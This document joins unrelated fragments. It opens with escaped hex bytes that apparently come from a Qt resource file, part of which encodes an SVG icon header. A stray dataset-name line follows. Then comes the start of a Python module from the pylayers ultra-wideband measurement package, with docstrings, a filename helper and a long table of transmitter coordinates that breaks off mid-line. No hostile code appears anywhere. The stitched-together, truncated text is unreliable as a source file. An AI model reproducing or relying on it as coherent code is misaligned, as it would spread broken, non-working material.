\x06\x9f\xeb\xb1\x2a\xe2\x54\xeb\x00\x33\x3c\x67\x54\xa0\x0d\x01\ \xe1\x58\x08\x7c\x36\x2e\x00\x58\x41\xdc\x52\x09\xa4\x47\x7e\x24\ \x18\x91\x06\xe3\xcb\xa4\xbb\x80\xa5\x9a\x8b\x20\xb2\xc4\x73\x4a\ \xe6\xe3\x2e\x97\xea\xb3\xe3\xae\xb6\x54\xe0\xdb\x6e\xc9\x5c\xf4\ \x28\x51\x0b\x7f\x7c\xfe\xa6\x6d\x17\x5f\x24\xd5\x22\xc0\x1c\x65\ \x25\xef\xbc\x08\xa3\x01\x55\x9f\x1e\x60\x38\x55\x1a\xb4\xbd\x25\ \x60\xc6\x99\x1a\x83\x2c\x28\x65\xba\xc0\x4b\x09\xa0\xe3\xa3\x1f\ \x01\x00\x35\x1a\xe3\xae\x30\x9f\x0e\x8b\x16\x1c\xbb\x7a\x7a\x4b\ \x7e\x74\xd2\x16\xec\xe2\x2e\xf6\x64\x98\xa0\x59\x57\xd8\xf9\x4b\ \x7c\xa3\x03\x83\x35\xa9\x54\x7a\xc2\x08\x68\x79\x55\xb7\xf9\x11\ \x54\xb0\x4b\x91\x8c\xde\x52\x96\xd6\xa7\x3d\xf5\x2e\xec\x32\x62\ \x30\x1f\x29\x9f\x8f\x38\x10\xa1\xb1\x33\xc0\x0e\xc1\x80\xc2\xfc\ \xe4\x3b\x01\x8b\x50\x7d\x36\x34\x9c\x62\x6f\x6b\xd9\x8d\x41\x73\ \xd2\x69\xef\xc0\xb1\xd8\x08\xe9\x5d\xb2\xc6\x20\x83\x15\x1d\x46\ \x5f\x1f\x85\x95\x42\xc0\xb0\x9c\x61\x20\x6e\x1b\x9c\x59\xbc\xe8\ \x3f\xf3\x47\x24\x1e\xde\x91\xb3\xeb\x50\x4f\xee\x10\xf0\xf4\x85\ \xc5\x06\x50\xf2\xff\x2a\x2a\x27\x46\x6a\x81\xf1\x45\x8e\x84\xaa\ \xab\x4d\xd9\xeb\x79\x45\x83\x3c\x20\xe8\xcf\xc3\xcb\x29\xe0\xe8\ \x03\xe4\xfe\xab\x3b\xc2\xc7\x32\xb4\xd4\x81\x30\x7c\x8b\x67\x44\ \xf1\x17\x2b\xbe\xdf\xd4\xf4\x28\xa1\xee\x3e\xcc\xc6\xca\xd3\x1e\ \xb5\x70\x75\x37\x4b\xc0\x28\x2d\x87\x6f\x50\x78\xcc\x66\xfe\xcb\ \x0d\x8f\x0f\xff\x01\x9b\x6a\x14\x0c\ \x00\x00\x0b\xee\ \x3c\ \x3f\x78\x6d\x6c\x20\x76\x65\x72\x73\x69\x6f\x6e\x3d\x22\x31\x2e\ \x30\x22\x20\x65\x6e\x63\x6f\x64\x69\x6e\x67\x3d\x22\x55\x54\x46\ \x2d\x38\x22\x20\x73\x74\x61\x6e\x64\x61\x6c\x6f\x6e\x65\x3d\x22\ \x6e\x6f\x22\x3f\x3e\x0a\x3c\x73\x76\x67\x0a\x20\x20\x20\x78\x6d\ \x6c\x6e\x73\x3a\x64\x63\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x70\ \x75\x72\x6c\x2e\x6f\x72\x67\x2f\x64\x63\x2f\x65\x6c\x65\x6d\x65\ \x6e\x74\x73\x2f\x31\x2e\x31\x2f\x22\x0a\x20\x20\x20\x78\x6d\x6c\ \x6e\x73\x3a\x63\x63\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x63\x72\ \x65\x61\x74\x69\x76\x65\x63\x6f\x6d\x6d\x6f\x6e\x73\x2e\x6f\x72\ \x67\x2f\x6e\x73\x23\x22\x0a\x20\x20\x20\x78\x6d\x6c\x6e\x73\x3a\ \x72\x64\x66\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x77\x77\x77\x2e\ \x77\x33\x2e\x6f\x72\x67\x2f\x31\x39\x39\x39\x2f\x30\x32\x2f\x32\ \x32\x2d\x72\x64\x66\x2d\x73\x79\x6e\x74\x61\x78\x2d\x6e\x73\x23\ \x22\x0a\x20\x20\x20\x78\x6d\x6c\x6e\x73\x3a\x73\x76\x67\x3d\x22\ \x68\x74\x74\x70\x3a\x2f\x2f\x77\x77\x77\x2e\x77\x33\x2e\x6f\x72\ \x67\x2f\x32\x30\x30\x30\x2f\x73\x76\x67\x22\x0a\x20\x20\x20\x78\ \x6d\x6c\x6e\x73\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x77\x77\x77\ \x2e\x77\x33\x2e\x6f\x72\x67\x2f\x32\x30\x30\x30\x2f\x73\x76\x67\ \x22\x0a\x20\x20\x20\x78\x6d\x6c\x6e\x73\x3a\x73\x6f\x64\x69\x70\ \x6f\x64\x69\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x73\x6f\x64\x69\ \x70\x6f\x64\x69\x2e\x73\x6f\x75\x72\x63\x65\x66\x6f\x72\x67\x65\ \x2e\x6e\x65\x74\x2f\x44\x54\x44\x2f\x73\x6f\x64\x69\x70\x6f\x64\ \x69\x2d\x30\x2e\x64\x74\x64\x22\x0a\x20\x20\x20\x78\x6d\x6c\x6e\ \x73\x3a\x69\x6e\x6b\x73\x63\x61\x70\x65\x3d\x22\x68\x74\x74\x70\ \x3a\x2f\x2f\x77\x77\x77\x2e\x69\x6e\x6b\x73\x63\x61\x70\x65\x2e\ \x6f\x72\x67\x2f\x6e\x61\x6d\x65\x73\x70\x61\x63\x65\x73\x2f\x69\ \x6e\x6b\x73\x63\x61\x70\x65\x22\x0a\x20\x20\x20\x77\x69\x64\x74\ \x68\x3d\x22\x34\x38\x22\x0a\x20\x20\x20\x68\x65\x69\x67\x68\x74\ \x3d\x22\x34\x38\x22\x0a\x20\x20\x20\x76\x69\x65\x77\x42\x6f\x78\ \x3d\x22\x30\x20\x30\x20\x34\x38\x20\x34\x38\x22\x0a\x20\x20\x20\ \x69\x64\x3d\x22\x73\x76\x67\x32\x22\x0a\x20\x20\x20\x76\x65\x72\ \x73\x69\x6f\x6e\x3d\x22\x31\x2e\x31\x22\x0a\x20\x20\x20\x69\x6e\ \x6b\x73\x63\x61\x70\x65\x3a\x76\x65\x72\x73\x69\x6f\x6e\x3d\x22\ \x30\x2e\x39\x32\x2e\x32\x20\x28\x35\x63\x33\x65\x38\x30\x64\x2c\ \x20\x32\x30\x31\x37\x2d\x30\x38\x2d\x30\x36\x29\x22\x0a\x20\x20\ \x20\x73\x6f\x64\x69\x70\x6f\x64\x69\x3a\x64\x6f\x63\x6e\x61\x6d\ \x65\x3d\x22\x73\x74\x6f\x63\x68\x61\x73\x74\x69\x63\x5f\x70\x6f\ \x77
codeparrot/github-code-clean
#!/usr/bin/python #-*- coding: utf-8 -*- """ .. currentmodule:: pylayers.measures.mesuwb RAW_DATA Class ============== .. autosummary:: :toctree: generated/ RAW_DATA.__init__ CAL_DATA Class ============== .. autosummary:: :toctree: generated/ CAL_DATA.__init__ CAL_DATA.plot CAL_DATA.getwave Fdd Class ========= .. autosummary:: :toctree: generated/ Fdd.__init__ Fdd.plot Tdd Class ========= .. autosummary:: :toctree: generated/ Tdd.__init__ Tdd.PL Tdd.show Tdd.show_span Tdd.box Tdd.plot TFP Class ========= .. autosummary:: :toctree: generated/ TFP.__init__ TFP.append FP Class ======== .. autosummary:: :toctree: generated/ FP.__init__ UWBMeasure ========== .. autosummary:: :toctree: generated/ UWBMeasure.__init__ UWBMeasure.info UWBMeasure.show UWBMeasure.Epercent UWBMeasure.toa_max2 UWBMeasure.tau_Emax UWBMeasure.tau_moy UWBMeasure.tau_rms UWBMeasure.toa_new UWBMeasure.toa_win UWBMeasure.toa_max UWBMeasure.toa_th UWBMeasure.toa_cum UWBMeasure.taumax UWBMeasure.Emax UWBMeasure.Etot UWBMeasure.Efirst UWBMeasure.Etau0 UWBMeasure.ecdf UWBMeasure.tdelay UWBMeasure.fp UWBMeasure.outlatex Utility Functions ================= .. autosummary:: :toctree: mesname ptw1 visibility trait """ import pdb import doctest import os.path import numpy as np import scipy as sp import matplotlib.pylab as plt import pylayers.util.pyutil as pyu import pylayers.util.geomutil as geu import pylayers.signal.bsignal as bs import pylayers.antprop.channel as ch from pylayers.util.project import * from scipy import io from scipy import signal, linspace, polyval, polyfit, stats #from pylayers.Simul import SimulEM # # Utility functions # def mesname(n, dirname, h=1): """ get the measurement data filename Parameters ---------- n Tx point number dirname PATH to measurements directory h height index 1|2 Notes ----- This function handle filename from WHERE1 M1 measurement campaign """ if (h == 1): mesdir = os.path.join(dirname,'h1') if n > 279: prefix = 'SIRADEL_08-08-01_P' else: prefix = 'SIRADEL_08-07-31_P' else: mesdir = os.path.join(dirname,'h2') prefix = 'SIRADEL_08-08-02_P' stn = str(n) if (len(stn) == 1): stn = '00' + stn if (len(stn) == 2): stn = '0' + stn filename = os.path.join(mesdir, prefix + stn + '.mat') return(filename) def ptw1(): """ return W1 Tx and Rx points """ p0 = np.array([298626.5107, 2354073.213]) Rx = np.zeros((5, 2)) Rx[1, :] = np.array([298614.2383, 2354080.9762]) Rx[2, :] = np.array([298607.736, 2354088.391]) Rx[3, :] = np.array([298622.3689, 2354082.0733]) Rx[4, :] = np.array([298617.4193, 2354088.4029]) Rx[1, :] = Rx[1, :] - p0 Rx[2, :] = Rx[2, :] - p0 Rx[3, :] = Rx[3, :] - p0 Rx[4, :] = Rx[4, :] - p0 height = 1.2 * np.ones((5, 1)) Rx = np.hstack((Rx, height)) Tx = np.zeros((377, 2)) Tx[1, :] = np.array([298599.1538, 2354087.9963]) - p0 Tx[2, :] = np.array([298599.1662, 2354086.9940]) - p0 Tx[3, :] = np.array([298599.1544, 2354085.9948]) - p0 Tx[4, :] = np.array([298599.1397, 2354085.4917]) - p0 Tx[5, :] = np.array([298599.6551, 2354085.4952]) - p0 Tx[6, :] = np.array([298599.6567, 2354085.9977]) - p0 Tx[7, :] = np.array([298600.1580, 2354086.0006]) - p0 Tx[8, :] = np.array([298600.1656, 2354085.4991]) - p0 Tx[9, :] = np.array([298600.6429, 2354085.5026]) - p0 Tx[10, :] = np.array([298601.1453, 2354085.5170]) - p0 Tx[11, :] = np.array([298601.6437, 2354085.5227]) - p0 Tx[12, :] = np.array([298602.1446, 2354085.5180]) - p0 Tx[13, :] = np.array([298602.6474, 2354085.5145]) - p0 Tx[14, :] = np.array([298602.6432, 2354085.0153]) - p0 Tx[15, :] = np.array([298602.1375, 2354085.0208]) - p0 Tx[16, :] = np.array([298601.6324, 2354085.0098]) - p0 Tx[17, :] = np.array([298601.1347, 2354084.9793]) - p0 Tx[18, :] = np.array([298601.1560, 2354084.4782]) - p0 Tx[19, :] = np.array([298601.6638, 2354084.5002]) - p0 Tx[20, :] = np.array([298602.1413, 2354084.5114]) - p0 Tx[21, :] = np.array([298602.6510, 2354084.5142]) - p0 Tx[22, :] = np.array([298602.6596, 2354084.0093]) - p0 Tx[23, :] = np.array([298602.1531, 2354083.9971]) - p0 Tx[24, :] = np.array([298601.6619, 2354083.9895]) - p0 Tx[25, :] = np.array([298601.1702, 2354083.9752]) - p0 Tx[26, :] = np.array([298601.1892, 2354083.4697]) - p0 Tx[27, :] = np.array([298601.6879, 2354083.4708]) - p0 Tx[28, :] = np.array([298602.1734, 2354083.4953]) - p0 Tx[29, :] = np.array([298602.1796, 2354083.0027]) - p0 Tx[30, :] = np.array([298601.6950, 2354082.9746]) - p0 Tx[31, :] = np.array([298601.1908, 2354082.9642]) - p0 Tx[32, :] = np.array([298601.6730, 2354082.4642]) - p0 Tx[33, :] = np.array([298602.1897, 2354082.5089]) - p0 Tx[34, :] = np.array([298602.6956, 2354082.5094]) - p0 Tx[35, :] = np.array([298602.6820, 2354083.0076]) - p0 Tx[36, :] = np.array([298602.6668, 2354083.5180]) - p0 Tx[37, :] = np.array([298603.1766, 2354083.5187]) - p0 Tx[38, :] = np.array([298603.1619, 2354084.0124]) - p0 Tx[39, :] = np.array([298603.1435, 2354084.5246]) - p0 Tx[40, :] = np.array([298603.6412, 2354084.5477]) - p0 Tx[41, :] = np.array([298603.6539, 2354084.0204]) - p0 Tx[42, :] = np.array([298603.6735, 2354083.5422]) - p0 Tx[43, :] = np.array([298604.1769, 2354083.5510]) - p0 Tx[44, :] = np.array([298604.1560, 2354084.0272]) - p0 Tx[45, :] = np.array([298604.1398, 2354084.5635]) - p0 Tx[46, :] = np.array([298604.6394, 2354084.5710]) - p0 Tx[47, :] = np.array([298604.6531, 2354084.0357]) - p0 Tx[48, :] = np.array([298604.6723, 2354083.5647]) - p0 Tx[49, :] = np.array([298605.1724, 2354083.5727]) - p0 Tx[50, :] = np.array([298605.1552, 2354084.0452]) - p0 Tx[51, :] = np.array([298605.1411, 2354084.5744]) - p0 Tx[52, :] = np.array([298605.6407, 2354084.5896]) - p0 Tx[53, :] = np.array([298605.6564, 2354084.0518]) - p0 Tx[54, :] = np.array([298605.6725, 2354083.5854]) - p0 Tx[55, :] = np.array([298606.1697, 2354083.5946]) - p0 Tx[56, :] = np.array([298606.1504, 2354084.0704]) - p0 Tx[57, :] = np.array([298606.1394, 2354084.5736]) - p0 Tx[58, :] = np.array([298606.6116, 2354084.5855]) - p0 Tx[59, :] = np.array([298606.6557, 2354084.0949]) - p0 Tx[60, :] = np.array([298606.6505, 2354083.6042]) - p0 Tx[61, :] = np.array([298607.1728, 2354083.6169]) - p0 Tx[62, :] = np.array([298607.1490, 2354084.1052]) - p0 Tx[63, :] = np.array([298607.1420, 2354084.5882]) - p0 Tx[64, :] = np.array([298607.6405, 2354084.6156]) - p0 Tx[65, :] = np.array([298607.6537, 2354084.1195]) - p0 Tx[66, :] = np.array([298607.6718, 2354083.6162]) - p0 Tx[67, :] = np.array([298608.1705, 2354083.6262]) - p0 Tx[68, :] = np.array([298608.1498, 2354084.1300]) - p0 Tx[69, :] = np.array([298608.1434, 2354084.6169]) - p0 Tx[70, :] = np.array([298608.6389, 2354084.6207]) - p0 Tx[71, :] = np.array([298608.6529, 2354084.1442]) - p0 Tx[72, :] = np.array([298608.6908, 2354083.6284]) - p0 Tx[73, :] = np.array([298609.1579, 2354083.6149]) - p0 Tx[74, :] = np.array([298609.1469, 2354084.1487]) - p0 Tx[75, :] = np.array([298609.1397, 2354084.6209]) - p0 Tx[76, :] = np.array([298609.6398, 2354084.6236]) - p0 Tx[77, :] = np.array([298609.6552, 2354084.1487]) - p0 Tx[78, :] = np.array([298609.6819, 2354083.6253]) - p0 Tx[79, :] = np.array([298610.1816, 2354083.6293]) - p0 Tx[80, :] = np.array([298610.1512, 2354084.1489]) - p0 Tx[81, :] = np.array([298610.1396, 2354084.6229]) - p0 Tx[82, :] = np.array([298610.1414, 2354085.1562]) - p0 Tx[83, :] = np.array([298609.6353, 2354085.1503]) - p0 Tx[84, :] = np.array([298609.1376, 2354085.1306]) - p0 Tx[85, :] = np.array([298608.6384, 2354085.1249]) - p0 Tx[86, :] = np.array([298608.1365, 2354085.1167]) - p0 Tx[87, :] = np.array([298607.6320, 2354085.1233]) - p0 Tx[88, :] = np.array([298607.1375, 2354085.1285]) - p0 Tx[89, :] = np.array([298606.6346, 2354085.1308]) - p0 Tx[90, :] = np.array([298606.1340, 2354085.1187]) - p0 Tx[91, :] = np.array([298605.6357, 2354085.1098]) - p0 Tx[92, :] = np.array([298605.1339, 2354085.1129]) - p0 Tx[93, :] = np.array([298605.1224, 2354085.6164]) - p0 Tx[94, :] = np.array([298604.6349, 2354085.0960]) - p0 Tx[95, :] = np.array([298604.6356, 2354085.6111]) - p0 Tx[96, :] = np.array([298604.1292, 2354085.5975]) - p0 Tx[97, :] = np.array([298604.1243, 2354086.1044]) - p0 Tx[98, :] = np.array([298604.6182, 2354086.1130]) - p0 Tx[99, :] = np.array([298604.6076, 2354086.6167]) - p0 Tx[100, :] = np.array([298604.1310, 2354086.6027]) - p0 Tx[101, :] = np.array([298604.1401, 2354087.0989]) - p0 Tx[102, :] = np.array([298604.5986, 2354087.1199]) - p0 Tx[103, :] = np.array([298611.6833, 2354085.6072]) - p0 Tx[104, :] = np.array([298611.1745, 2354085.6015]) - p0 Tx[105, :] = np.array([298611.1425, 2354086.0848]) - p0 Tx[106, :] = np.array([298611.6452, 2354086.1118]) - p0 Tx[107, :] = np.array([298611.6090, 2354086.6144]) - p0 Tx[108, :] = np.array([298611.1054, 2354086.6012]) - p0 Tx[109, :] = np.array([298611.1042, 2354087.1082]) - p0 Tx[110, :] = np.array([298611.6032, 2354087.1149]) - p0 Tx[111, :] = np.array([298612.1175, 2354087.1200]) - p0 Tx[112, :] = np.array([298612.1255, 2354087.6165]) - p0 Tx[113, :] = np.array([298611.6215, 2354087.6255]) - p0 Tx[114, :] = np.array([298611.1133, 2354087.6264]) - p0 Tx[115, :] = np.array([298612.1141, 2354088.1246]) - p0 Tx[116, :] = np.array([298611.6216, 2354088.1302]) - p0 Tx[117, :] = np.array([298611.1070, 2354088.1211]) - p0 Tx[118, :] = np.array([298610.6204, 2354088.1582]) - p0 Tx[119, :] = np.array([298610.6092, 2354088.6707]) - p0 Tx[120, :] = np.array([298611.1083, 2354088.6447]) - p0 Tx[121, :] = np.array([298611.6160, 2354088.6395]) - p0 Tx[122, :] = np.array([298610.6813, 2354083.6292]) - p0 Tx[123, :] = np.array([298610.6475, 2354084.1563]) - p0 Tx[124, :] = np.array([298610.6448, 2354084.6357]) - p0 Tx[125, :] = np.array([298611.1846, 2354084.6620]) - p0 Tx[126, :] = np.array([298611.1994, 2354084.1390]) - p0 Tx[127, :] = np.array([298611.1823, 2354083.6428]) - p0 Tx[128, :] = np.array([298611.6880, 2354083.6406]) - p0 Tx[129, :] = np.array([298611.6515, 2354084.1711]) - p0 Tx[130, :] = np.array([298611.6407, 2354084.6489]) - p0 Tx[131, :] = np.array([298612.1390, 2354084.6449]) - p0 Tx[132, :] = np.array([298612.1540, 2354084.1705]) - p0 Tx[133, :] = np.array([298612.6359, 2354084.6577]) - p0 Tx[134, :] = np.array([298612.6395, 2354084.1697]) - p0 Tx[135, :] = np.array([298612.6370, 2354083.6538]) - p0 Tx[136, :] = np.array([298613.1405, 2354083.6868]) - p0 Tx[137, :] = np.array([298613.1406, 2354084.1560]) - p0 Tx[138, :] = np.array([298613.1327, 2354084.6577]) - p0 Tx[139, :] = np.array([298613.1366, 2354085.1673]) - p0 Tx[140, :] = np.array([298613.1184, 2354085.6717]) - p0 Tx[141, :] = np.array([298613.1142, 2354086.1763]) - p0 Tx[142, :] = np.array([298613.6457, 2354085.6697]) - p0 Tx[143, :] = np.array([298613.6441, 2354085.1596]) - p0 Tx[144, :] = np.array([298613.6326, 2354084.6580]) - p0 Tx[145, :] = np.array([298613.6404, 2354084.1482]) - p0 Tx[146, :] = np.array([298613.6499, 2354083.6886]) - p0 Tx[147, :] = np.array([298613.1379, 2354083.1766]) - p0 Tx[148, :] = np.array([298613.1497, 2354082.6790]) - p0 Tx[149, :] = np.array([298613.1492, 2354082.1705]) - p0 Tx[150, :] = np.array([298613.6630, 2354082.1454]) - p0 Tx[151, :] = np.array([298614.1583, 2354081.6012]) - p0 Tx[152, :] = np.array([298613.6540, 2354081.6356]) - p0 Tx[153, :] = np.array([298613.1439, 2354081.6623]) - p0 Tx[154, :] = np.array([298613.1530, 2354081.1617]) - p0 Tx[155, :] = np.array([298613.6526, 2354081.1463]) - p0 Tx[156, :] = np.array([298613.1480, 2354080.6561]) - p0 Tx[157, :] = np.array([298613.1395, 2354080.1452]) - p0 Tx[158, :] = np.array([298613.1540, 2354079.6386]) - p0 Tx[159, :] = np.array([298613.1505, 2354079.1286]) - p0 Tx[160, :] = np.array([298613.1415, 2354078.6210]) - p0 Tx[161, :] = np.array([298613.6557, 2354078.6218]) - p0 Tx[162, :] = np.array([298614.1436, 2354083.6585]) - p0 Tx[163, :] = np.array([298614.1426, 2354084.1502]) - p0 Tx[164, :] = np.array([298614.1348, 2354084.6603]) - p0 Tx[165, :] = np.array([298614.1271, 2354085.1728]) - p0 Tx[166, :] = np.array([298614.6380, 2354085.1642]) - p0 Tx[167, :] = np.array([298614.6388, 2354084.6585]) - p0 Tx[168, :] = np.array([298614.6445, 2354084.1448]) - p0 Tx[169, :] = np.array([298614.6489, 2354083.6400]) - p0 Tx[170, :] = np.array([298615.1552, 2354083.6422]) - p0 Tx[171, :] = np.array([298615.1377, 2354084.1475]) - p0 Tx[172, :] = np.array([298615.1324, 2354084.6569]) - p0 Tx[173, :] = np.array([298615.1282, 2354085.1647]) - p0 Tx[174, :] = np.array([298615.6277, 2354085.1596]) - p0 Tx[175, :] = np.array([298615.6353, 2354084.6545]) - p0 Tx[176, :] = np.array([298615.6411, 2354084.1476]) - p0 Tx[177, :] = np.array([298615.6535, 2354083.6039]) - p0 Tx[178, :] = np.array([298616.1607, 2354083.6049]) - p0 Tx[179, :] = np.array([298616.1477, 2354084.1506]) - p0 Tx[180, :] = np.array([298616.1348, 2354084.6555]) - p0 Tx[181, :] = np.array([298616.1199, 2354085.1620]) - p0 Tx[182, :] = np.array([298615.6512, 2354085.6585]) - p0 Tx[183, :] = np.array([298615.6378, 2354086.1646]) - p0 Tx[184, :] = np.array([298616.1548, 2354085.6584]) - p0 Tx[185, :] = np.array([298616.6587, 2354085.6560]) - p0 Tx[186, :] = np.array([298617.1646, 2354085.6780]) - p0 Tx[187, :] = np.array([298617.1634, 2354086.1882]) - p0 Tx[188, :] = np.array([298616.6570, 2354086.1598]) - p0 Tx[189, :] = np.array([298616.1520, 2354086.1711]) - p0 Tx[190, :] = np.array([298616.1759, 2354086.6578]) - p0 Tx[191, :] = np.array([298616.6791, 2354086.6612]) - p0 Tx[192, :] = np.array([298616.6891, 2354087.1669]) - p0 Tx[193, :] = np.array([298616.1839, 2354087.1899]) - p0 Tx[194, :] = np.array([298616.1933, 2354087.7160]) - p0 Tx[195, :] = np.array([298616.6962, 2354087.6792]) - p0 Tx[196, :] = np.array([298616.7053, 2354088.1869]) - p0 Tx[197, :] = np.array([298616.1990, 2354088.2208]) - p0 Tx[198, :] = np.array([298616.6932, 2354088.6978]) - p0 Tx[199, :] = np.array([298616.5761, 2354085.1480]) - p0 Tx[200, :] = np.array([298616.5881, 2354084.6199]) - p0 Tx[201, :] = np.array([298616.6404, 2354084.1429]) - p0 Tx[202, :] = np.array([298616.6655, 2354083.6028]) - p0 Tx[203, :] = np.array([298617.1700, 2354083.5984]) - p0 Tx[204, :] = np.array([298617.1451, 2354084.1559]) - p0 Tx[205, :] = np.array([298617.1360, 2354084.6628]) - p0 Tx[206, :] = np.array([298617.1415, 2354085.1648]) - p0 Tx[207, :] = np.array([298617.6331, 2354085.1743]) - p0 Tx[208, :] = np.array([298617.6413, 2354084.6687]) - p0 Tx[209, :] = np.array([298617.6418, 2354084.1389]) - p0 Tx[210, :] = np.array([298617.6736, 2354083.6153]) - p0 Tx[211, :] = np.array([298618.2032, 2354083.5949]) - p0 Tx[212, :] = np.array([298618.1399, 2354084.1416]) - p0 Tx[213, :] = np.array([298618.1397, 2354084.6872]) - p0 Tx[214, :] = np.array([298618.1316, 2354085.1840]) - p0 Tx[215, :] = np.array([298618.6486, 2354085.2149]) - p0 Tx[216, :] = np.array([298618.6310, 2354084.6815]) - p0 Tx[217, :] = np.array([298618.6407, 2354084.1445]) - p0 Tx[218, :] = np.array([298618.6744, 2354083.6374]) - p0 Tx[219, :] = np.array([298619.1722, 2354083.6488]) - p0 Tx[220, :] = np.array([298619.1376, 2354084.1545]) - p0 Tx[221, :] = np.array([298619.1287, 2354084.6807]) - p0 Tx[222, :] = np.array([298619.1330, 2354085.1822]) - p0 Tx[223, :] = np.array([298619.1273, 2354085.6893]) - p0 Tx[224, :] = np.array([298619.6187, 2354086.2068]) - p0 Tx[225, :] = np.array([298619.6339, 2354085.6987]) - p0 Tx[226, :] = np.array([298619.6466, 2354085.1823]) - p0 Tx[227, :] = np.array([298619.6353, 2354084.6749]) - p0 Tx[228, :] = np.array([298619.6417, 2354084.1745]) - p0 Tx[229, :] = np.array([298619.6846, 2354083.6551]) - p0 Tx[230, :] = np.array([298620.1394, 2354084.1739]) - p0 Tx[231, :] = np.array([298620.1309, 2354084.6747]) - p0 Tx[232, :] = np.array([298620.6375, 2354084.7072]) - p0 Tx[233, :] = np.array([298620.6535, 2354084.1937]) - p0 Tx[234, :] = np.array([298621.1562, 2354084.2068]) - p0 Tx[235, :] = np.array([298621.1364, 2354084.7122]) - p0 Tx[236, :] = np.array([298621.6385, 2354084.7303]) - p0 Tx[237, :] = np.array([298621.6651, 2354084.2222]) - p0 Tx[238, :] = np.array([298622.1601, 2354084.2389]) - p0 Tx[239, :] = np.array([298622.1370, 2354084.7480]) - p0 Tx[240, :] = np.array([298622.6385, 2354084.7663]) - p0 Tx[241, :] = np.array([298622.6600, 2354084.2542]) - p0 Tx[242, :] = np.array([298623.1648, 2354084.2689]) - p0 Tx[243, :] = np.array([298623.1408, 2354084.7816]) - p0 Tx[244, :] = np.array([298623.6409, 2354084.7926]) - p0 Tx[245, :] = np.array([298623.6678, 2354084.2861]) - p0 Tx[246, :] = np.array([298624.1386, 2354084.8036]) - p0 Tx[247, :] = np.array([298624.1635, 2354084.2994]) - p0 Tx[248, :] = np.array([298624.6636, 2354084.3205]) - p0 Tx[249, :] = np.array([298624.6389, 2354084.8140]) - p0 Tx[250, :] = np.array([298625.1366, 2354084.8288]) - p0 Tx[251, :] = np.array([298625.1661, 2354084.3260]) - p0 Tx[252, :] = np.array([298625.6665, 2354084.3414]) - p0 Tx[253, :] = np.array([298625.6354, 2354084.8437]) - p0 Tx[254, :] = np.array([298626.1636, 2354084.3514]) - p0 Tx[255, :] = np.array([298623.1350, 2354083.2604]) - p0 Tx[256, :] = np.array([298623.6459, 2354083.2540]) - p0 Tx[257, :] = np.array([298624.1560, 2354083.2374]) - p0 Tx[258, :] = np.array([298624.6663, 2354083.2462]) - p0 Tx[259, :] = np.array([298624.6826, 2354082.7437]) - p0 Tx[260, :] = np.array([298624.1749, 2354082.7208]) - p0 Tx[261, :] = np.array([298623.6692, 2354082.7379]) - p0 Tx[262, :] = np.array([298623.1639, 2354082.7469]) - p0 Tx[263, :] = np.array([298623.1689, 2354082.2433]) - p0 Tx[264, :] = np.array([298623.6787, 2354082.2317]) - p0 Tx[265, :] = np.array([298624.1985, 2354082.2183]) - p0 Tx[266, :] = np.array([298624.6866, 2354082.2383]) - p0 Tx[267, :] = np.array([298625.1949, 2354082.2558]) - p0 Tx[268, :] = np.array([298625.2143, 2354081.7460]) - p0 Tx[269, :] = np.array([298624.7009, 2354081.7275]) - p0 Tx[270, :] = np.array([298624.6954, 2354081.2262]) - p0 Tx[271, :] = np.array([298625.2236, 2354081.2382]) - p0 Tx[272, :] = np.array([298625.2363, 2354080.7305]) - p0 Tx[273, :] = np.array([298624.7062, 2354080.7236]) - p0 Tx[274, :] = np.array([298624.7133, 2354080.2191]) - p0 Tx[275, :] = np.array([298625.2658, 2354080.2344]) - p0 Tx[276, :] = np.array([298625.2716, 2354079.7283]) - p0 Tx[277, :] = np.array([298624.7364, 2354079.7128]) - p0 Tx[278, :] = np.array([298624.7416, 2354079.2061]) - p0 Tx[279, :] = np.array([298625.2491, 2354079.2185]) - p0 Tx[280, :] = np.array([298623.1637, 2354081.7384]) - p0 Tx[281, :] = np.array([298622.6586, 2354081.7004]) - p0 Tx[282, :] = np.array([298622.6515, 2354081.1890]) - p0 Tx[283, :] = np.array([298622.1315, 2354081.1643]) - p0 Tx[284, :] = np.array([298621.6273, 2354081.1723]) - p0 Tx[285, :] = np.array([298621.6316, 2354080.6624]) - p0 Tx[286, :] = np.array([298622.1501, 2354080.6556]) - p0 Tx[287, :] = np.array([298622.6541, 2354080.6798]) - p0 Tx[288, :] = np.array([298622.6727, 2354080.1768]) - p0 Tx[289, :] = np.array([298622.1474, 2354080.1466]) - p0 Tx[290, :] = np.array([298621.6630, 2354080.1541]) - p0 Tx[291, :] = np.array([298621.6689, 2354079.6337]) - p0 Tx[292, :] = np.array([298622.1509, 2354079.6419]) - p0 Tx[293, :] = np.array([298622.6775, 2354079.6703]) - p0 Tx[294, :] = np.array([298622.6726, 2354079.1622]) - p0 Tx[295, :] = np.array([298622.1617, 2354079.1326]) - p0 Tx[296, :] = np.array([298621.6529, 2354079.1229]) - p0 Tx[297, :] = np.array([298626.6606, 2354084.3659]) - p0 Tx[298, :] = np.array([298627.1570, 2354084.3670]) - p0 Tx[299, :] = np.array([298627.1370, 2354084.8710]) - p0 Tx[300, :] = np.array([298627.6319, 2354084.8747]) - p0 Tx[301, :] = np.array([298627.6622, 2354084.3697]) - p0 Tx[302, :] = np.array([298628.1326, 2354084.8789]) - p0 Tx[303, :] = np.array([298628.1463, 2354084.3800]) - p0 Tx[304, :] = np.array([298628.6313, 2354084.8911]) - p0 Tx[305, :] = np.array([298628.6615, 2354084.3717]) - p0 Tx[306, :] = np.array([298629.1306, 2354084.8933]) - p0 Tx[307, :] = np.array([298629.1615, 2354084.3833]) - p0 Tx[308, :] = np.array([298629.6307, 2354084.9125]) - p0 Tx[309, :] = np.array([298629.6646, 2354084.3948]) - p0 Tx[310, :] = np.array([298630.1340, 2354084.9249]) - p0 Tx[311, :] = np.array([298630.1594, 2354084.4232]) - p0 Tx[312, :] = np.array([298630.6318, 2354084.9324]) - p0 Tx[313, :] = np.array([298630.6612, 2354084.4580]) - p0 Tx[314, :] = np.array([298631.2187, 2354083.3883]) - p0 Tx[315, :] = np.array([298631.2218, 2354082.3712]) - p0 Tx[316, :] = np.array([298630.2159, 2354083.3792]) - p0 Tx[317, :] = np.array([298629.2029, 2354083.3825]) - p0 Tx[318, :] = np.array([298628.1967, 2354083.3782]) - p0 Tx[319, :] = np.array([298627.2335, 2354082.3535]) - p0 Tx[320, :] = np.array([298628.2356, 